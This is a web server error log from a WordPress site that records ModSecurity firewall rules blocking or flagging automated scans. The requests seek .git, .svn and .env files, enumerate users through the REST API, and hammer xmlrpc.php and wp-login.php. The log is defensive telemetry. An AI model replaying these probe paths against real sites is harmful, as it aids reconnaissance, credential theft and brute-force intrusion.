[Wed Dec 03 16:14:24.200773 2025] [:error] [pid 20669:tid 20699] [client 65.111.0.123:44067] [client 65.111.0.123] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.svn/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.svn/wc.db"] [unique_id "aS_xYJLWoJXGOhmabmtUhQAAAVc"]
[Wed Dec 03 16:22:40.284447 2025] [:error] [pid 47815:tid 47841] [client 109.234.162.145:57468] [client 109.234.162.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.234.162.145, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS_zUETsjPA8HXY_dpGmNAAAANg"]
[Wed Dec 03 16:23:04.495249 2025] [:error] [pid 20607:tid 20628] [client 109.234.162.145:41518] [client 109.234.162.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.234.162.145, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS_zaPpiIcI2BRWBwqxIlQAAAFI"]
[Wed Dec 03 16:23:41.478246 2025] [:error] [pid 47926:tid 47942] [client 109.234.162.145:34368] [client 109.234.162.145] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.234.162.145, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS_zjWmj6HWCHJ9euRJQOQAAAY4"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 03 17:04:53.689062 2025] [:error] [pid 20607:tid 20622] [client 68.178.201.184:60174] [client 68.178.201.184] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.201.184, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aS_9NfpiIcI2BRWBwqxRDAAAAEw"]
[Wed Dec 03 17:22:42.273715 2025] [:error] [pid 20607:tid 20623] [client 162.241.224.218:17834] [client 162.241.224.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.224.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTABYvpiIcI2BRWBwqxVVwAAAE0"]
[Wed Dec 03 17:29:01.281561 2025] [:error] [pid 20607:tid 20621] [client 50.116.31.125:60986] [client 50.116.31.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.116.31.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTAC3fpiIcI2BRWBwqxXnwAAAEs"]
[Wed Dec 03 17:51:09.479839 2025] [:error] [pid 20607:tid 20634] [client 195.20.233.67:52844] [client 195.20.233.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.20.233.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTAIDfpiIcI2BRWBwqxcFQAAAFg"]
[Wed Dec 03 17:51:11.136978 2025] [:error] [pid 20607:tid 20616] [client 195.20.233.67:52844] [client 195.20.233.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.20.233.67, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTAID_piIcI2BRWBwqxcFgAAAEY"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 03 18:22:19.171163 2025] [:error] [pid 20707:tid 20727] [client 15.235.219.223:50380] [client 15.235.219.223] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aTAPWzObjEHgU5ngsxe6hwAAARI"]
[Wed Dec 03 18:22:40.149315 2025] [:error] [pid 47815:tid 47830] [client 66.175.56.97:47144] [client 66.175.56.97] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aTAPcETsjPA8HXY_dpG9TgAAAM0"]
[Wed Dec 03 18:27:57.672339 2025] [:error] [pid 20669:tid 20682] [client 159.89.47.58:47280] [client 159.89.47.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTAQrZLWoJXGOhmabmuK3AAAAUY"]
[Wed Dec 03 18:28:00.548559 2025] [:error] [pid 47926:tid 47947] [client 159.89.47.58:33732] [client 159.89.47.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTAQsGmj6HWCHJ9euRJvVAAAAZM"]
[Wed Dec 03 18:28:05.679381 2025] [:error] [pid 47815:tid 47834] [client 103.74.116.253:55104] [client 103.74.116.253] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users.json"] [unique_id "aTAQtUTsjPA8HXY_dpG-hQAAANE"]
[Wed Dec 03 18:57:41.615664 2025] [:error] [pid 47926:tid 47938] [client 178.128.124.60:61799] [client 178.128.124.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.124.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTAXpWmj6HWCHJ9euRJ4eAAAAYo"]
[Wed Dec 03 18:57:43.910384 2025] [:error] [pid 47926:tid 47936] [client 178.128.124.60:61799] [client 178.128.124.60] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTAXp2mj6HWCHJ9euRJ4fwAAAYg"]
[Wed Dec 03 18:57:45.322592 2025] [:error] [pid 47926:tid 47937] [client 178.128.124.60:61799] [client 178.128.124.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.124.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTAXqWmj6HWCHJ9euRJ4gwAAAYk"]
[Wed Dec 03 18:57:47.103459 2025] [:error] [pid 20608:tid 20657] [client 178.128.124.60:63246] [client 178.128.124.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.124.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTAXq05WGptz5j0ZvYeB6QAAAJQ"]
[Wed Dec 03 18:57:48.840008 2025] [:error] [pid 20607:tid 20623] [client 178.128.124.60:63591] [client 178.128.124.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.124.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTAXrPpiIcI2BRWBwqxtCQAAAE0"]
[Wed Dec 03 18:57:50.661624 2025] [:error] [pid 47926:tid 47951] [client 178.128.124.60:63953] [client 178.128.124.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.124.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTAXrmmj6HWCHJ9euRJ4hAAAAZc"]
[Wed Dec 03 18:57:52.297796 2025] [:error] [pid 32437:tid 32443] [client 178.128.124.60:64288] [client 178.128.124.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.124.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTAXsKBId4T5gQoDbCFU5QAAAAM"]
[Wed Dec 03 18:57:52.297980 2025] [:error] [pid 32437:tid 32443] [client 178.128.124.60:64288] [client 178.128.124.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.128.124.60, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTAXsKBId4T5gQoDbCFU5QAAAAM"]
[Wed Dec 03 20:40:53.155736 2025] [:error] [pid 20669:tid 20684] [client 159.89.207.4:51380] [client 159.89.207.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aTAv1ZLWoJXGOhmabmvDfgAAAUg"]
[Wed Dec 03 21:20:50.280703 2025] [:error] [pid 20608:tid 20655] [client 35.187.113.103:65096] [client 35.187.113.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.187.113.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTA5Mk5WGptz5j0ZvYeg3wAAAJI"]
[Wed Dec 03 21:20:53.978333 2025] [:error] [pid 20608:tid 20640] [client 35.187.113.103:65096] [client 35.187.113.103] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTA5NU5WGptz5j0ZvYeg-AAAAIM"]
[Wed Dec 03 21:20:56.294687 2025] [:error] [pid 20608:tid 20652] [client 35.187.113.103:65096] [client 35.187.113.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.187.113.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTA5OE5WGptz5j0ZvYeg_QAAAI8"]
[Wed Dec 03 21:20:58.436053 2025] [:error] [pid 47926:tid 47940] [client 35.187.113.103:52674] [client 35.187.113.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.187.113.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTA5Ommj6HWCHJ9euRKdrwAAAYw"]
[Wed Dec 03 21:21:00.604669 2025] [:error] [pid 47926:tid 47930] [client 35.187.113.103:52957] [client 35.187.113.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.187.113.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTA5PGmj6HWCHJ9euRKdsQAAAYI"]
[Wed Dec 03 21:21:03.094390 2025] [:error] [pid 20707:tid 20722] [client 35.187.113.103:61838] [client 35.187.113.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.187.113.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTA5PzObjEHgU5ngsxfzDAAAAQ0"]
[Wed Dec 03 21:21:05.399074 2025] [:error] [pid 20707:tid 20732] [client 35.187.113.103:50763] [client 35.187.113.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.187.113.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTA5QTObjEHgU5ngsxfzDwAAARc"]
[Wed Dec 03 21:21:05.399312 2025] [:error] [pid 20707:tid 20732] [client 35.187.113.103:50763] [client 35.187.113.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.187.113.103, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTA5QTObjEHgU5ngsxfzDwAAARc"]
[Wed Dec 03 21:22:27.824998 2025] [:error] [pid 20669:tid 20689] [client 68.183.235.102:49266] [client 68.183.235.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.235.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTA5k5LWoJXGOhmabmvTUgAAAU0"]
[Wed Dec 03 22:11:16.262062 2025] [:error] [pid 20669:tid 20691] [client 34.140.27.36:57178] [client 34.140.27.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.27.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBFBJLWoJXGOhmabmvmNgAAAU8"]
[Wed Dec 03 22:11:21.162583 2025] [:error] [pid 20669:tid 20690] [client 34.140.27.36:57178] [client 34.140.27.36] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTBFCZLWoJXGOhmabmvmPwAAAU4"]
[Wed Dec 03 22:11:22.736060 2025] [:error] [pid 20669:tid 20682] [client 34.140.27.36:57178] [client 34.140.27.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.27.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBFCpLWoJXGOhmabmvmQQAAAUY"]
[Wed Dec 03 22:11:24.865445 2025] [:error] [pid 20607:tid 20625] [client 34.140.27.36:62818] [client 34.140.27.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.27.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBFDPpiIcI2BRWBwqyZMgAAAE8"]
[Wed Dec 03 22:11:27.009776 2025] [:error] [pid 20607:tid 20622] [client 34.140.27.36:63829] [client 34.140.27.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.27.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBFD_piIcI2BRWBwqyZOAAAAEw"]
[Wed Dec 03 22:11:29.140484 2025] [:error] [pid 32437:tid 32444] [client 34.140.27.36:64822] [client 34.140.27.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.27.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBFEaBId4T5gQoDbCF87gAAAAQ"]
[Wed Dec 03 22:11:31.349316 2025] [:error] [pid 47926:tid 47938] [client 34.140.27.36:49732] [client 34.140.27.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.27.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBFE2mj6HWCHJ9euRKoLgAAAYo"]
[Wed Dec 03 22:11:31.349617 2025] [:error] [pid 47926:tid 47938] [client 34.140.27.36:49732] [client 34.140.27.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.140.27.36, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBFE2mj6HWCHJ9euRKoLgAAAYo"]
[Wed Dec 03 22:44:54.434610 2025] [:error] [pid 47926:tid 47934] [client 34.187.201.198:55863] [client 34.187.201.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.201.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBM5mmj6HWCHJ9euRKwgAAAAYY"]
[Wed Dec 03 22:44:57.893597 2025] [:error] [pid 47926:tid 47951] [client 34.187.201.198:55863] [client 34.187.201.198] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTBM6Wmj6HWCHJ9euRKwgwAAAZc"]
[Wed Dec 03 22:44:59.316988 2025] [:error] [pid 47926:tid 47935] [client 34.187.201.198:55863] [client 34.187.201.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.201.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBM62mj6HWCHJ9euRKwhQAAAYc"]
[Wed Dec 03 22:45:01.122390 2025] [:error] [pid 20669:tid 20690] [client 34.187.201.198:52385] [client 34.187.201.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.201.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBM7ZLWoJXGOhmabmv0sgAAAU4"]
[Wed Dec 03 22:45:02.914721 2025] [:error] [pid 47815:tid 47818] [client 34.187.201.198:54750] [client 34.187.201.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.201.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBM7kTsjPA8HXY_dpHxuwAAAME"]
[Wed Dec 03 22:45:04.715447 2025] [:error] [pid 20669:tid 20689] [client 34.187.201.198:54406] [client 34.187.201.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.201.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBM8JLWoJXGOhmabmv0tgAAAU0"]
[Wed Dec 03 22:45:06.516880 2025] [:error] [pid 20669:tid 20677] [client 34.187.201.198:63462] [client 34.187.201.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.187.201.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBM8pLWoJXGOhmabmv0uAAAAUE"]
[Wed Dec 03 22:45:06.517033 2025] [:error] [pid 20669:tid 20677] [client 34.187.201.198:63462] [client 34.187.201.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.187.201.198, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTBM8pLWoJXGOhmabmv0uAAAAUE"]
[Wed Dec 03 23:30:50.688916 2025] [:error] [pid 20669:tid 20677] [client 173.249.63.203:50248] [client 173.249.63.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.249.63.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTBXqpLWoJXGOhmabmsEwAAAAUE"]
[Wed Dec 03 23:30:56.539203 2025] [:error] [pid 20669:tid 20687] [client 173.249.63.203:50248] [client 173.249.63.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.249.63.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTBXsJLWoJXGOhmabmsEwQAAAUs"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 03 23:52:12.463853 2025] [:error] [pid 20707:tid 20716] [client 207.244.117.236:58954] [client 207.244.117.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.244.117.236, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTBcrDObjEHgU5ngsxcgSgAAAQc"]
[Wed Dec 03 23:52:15.177509 2025] [:error] [pid 32437:tid 32451] [client 207.244.117.236:34579] [client 207.244.117.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.244.117.236, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTBcr6BId4T5gQoDbCGSMgAAAAs"]
[Wed Dec 03 23:52:17.320284 2025] [:error] [pid 20669:tid 20684] [client 207.244.117.236:42142] [client 207.244.117.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 207.244.117.236, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTBcsZLWoJXGOhmabmsJWAAAAUg"], referer: https://gigfragments.org/wp-login.php
[Thu Dec 04 00:00:07.946754 2025] [:error] [pid 47815:tid 47836] [client 14.215.163.132:34621] [client 14.215.163.132] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTBeh0TsjPA8HXY_dpH-KwAAANM"]
[Thu Dec 04 00:32:19.724322 2025] [autoindex:error] [pid 63344:tid 63367] [client 149.88.23.77:59938] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
